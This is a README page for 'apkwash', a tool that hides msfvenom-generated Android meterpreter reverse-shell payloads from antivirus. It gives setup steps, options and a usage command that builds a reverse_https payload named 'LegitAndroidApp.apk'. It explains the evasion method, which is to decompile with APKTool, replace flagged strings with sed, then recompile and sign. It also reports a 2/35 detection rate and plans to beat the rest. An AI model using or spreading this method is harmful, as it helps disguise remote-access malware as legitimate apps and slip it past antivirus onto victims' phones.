Home

Awesome

apkwash

Android APK Antivirus evasion for msfvenom generated payloads. <br> <br> <b> Tested on Kali linux rolling. </b><br> <br> <b>Setup:</b><br> apt-get update && apt-get dist-upgrade<br> chmod +x apkwash<br> mv apkwash /usr/local/bin/.<br> <br> <b>On first run:</b><br> -Downloads and places apktool.jar in the user's /usr/local/bin directory<br> -Generates debug keystore for signing. Places it in ~/.android/<br> <br> <br> <b>Usage Example:</b><br> apkwash -p android/meterpreter/reverse_https LHOST=<IP> LPORT=<PORT> -o LegitAndroidApp.apk<br> <br> <b>Output:</b><br> <LegitAndroidApp>.apk & <LegitAndroidApp>.listener<br> <br> <b>Default values:</b><br> payload=android/meterpreter/reverse_https<br> LHOST=<eth0 IP address><br> LPORT=443<br> output=AndroidService.apk<br> <br> <b>Options</b><br> -p | --payload <payload> This sets the payload to be generated by msfvenom.<br> -o | --output <outfile.apk> This sets the name of the APK created as well as the output apk file.<br> -x | --original <infile.apk> Input APK to inject the payload into (later update).<br> -g | --generate Generate a payload using defaults<br> -n | --newkey Generate a new debug key before signing<br> -v | --verbose Don't mask output of commands<br> -d | --debug Leaves the /tmp/payload files in place for review<br> -h | --help Help information<br> <br> <br> <b>Antivirus detection:</b><br> 2/35 on nodistribute - 2Aug17<br> Will be updating soon to cover these two flags.<br> <br> FLAGGED BY AVAST!<br> APK:CloudRep[Susp] is the report for the suspicious app on Avast. <br> Per Avast: "the APK:CloudRep [Susp] is a warning-like message for applications that are very new/rare/previously unseen in our userbase." Based on this alone it doesn't appear we can modify anything to avoid being flagged. It allows the user to accept the risks, or uninstall the app.<br> <br> <b>Modifiations:</b><br> Feel free to open the script and make improvements. This script basically utilizes APKTool to open the package, uses sed to replace strings that flag AV, recompiles, then signs.<br> <br> <br> <b>Files:</b><br> /tmp/payload (Main files to review: AndroidManifest.xml and the smali files) <br> <br> <b>Debugging</b><br> Run with '-d' and -'v' to display as much output along with not removing the /tmp/payload files.<br><br><br> <b>If you are seeing other "Payload".smali files in /tmp/payload/smali/com/var1/var2/ then be sure you have an updated system (apt-get update && apt-get dist-upgrade. I have found an older msfvenom version output a different payload that will be flagged by AVG (1/35 on nodistribute). Just making sure you are completely updated should resolve this.</b>